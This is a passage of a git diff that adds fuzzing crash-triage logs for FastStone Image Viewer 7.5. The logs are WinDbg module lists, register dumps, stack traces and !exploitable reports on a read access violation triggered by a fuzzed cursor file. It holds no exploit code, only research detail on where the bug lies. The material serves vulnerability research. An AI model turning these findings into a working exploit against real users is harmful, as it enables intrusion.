(x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c58.1f9c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f87b10 edx=00003879 esi=12738f10 edi=0fcf4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.58343e+011 2.12056e+026 3.53013e+011 -8.44224e-011 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00393000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00393000 b5d04495 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00393000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..733dda8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1EBC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1EBC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ebc.fac): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ea7b10 edx=00003879 esi=12738f10 edi=07cb0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.65034e-012 -2.53715e+014 -5.12378e+032 -1.4879e-029 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00359000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00359000 a6ee510d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00359000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..733dda8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1EBC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1EBC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 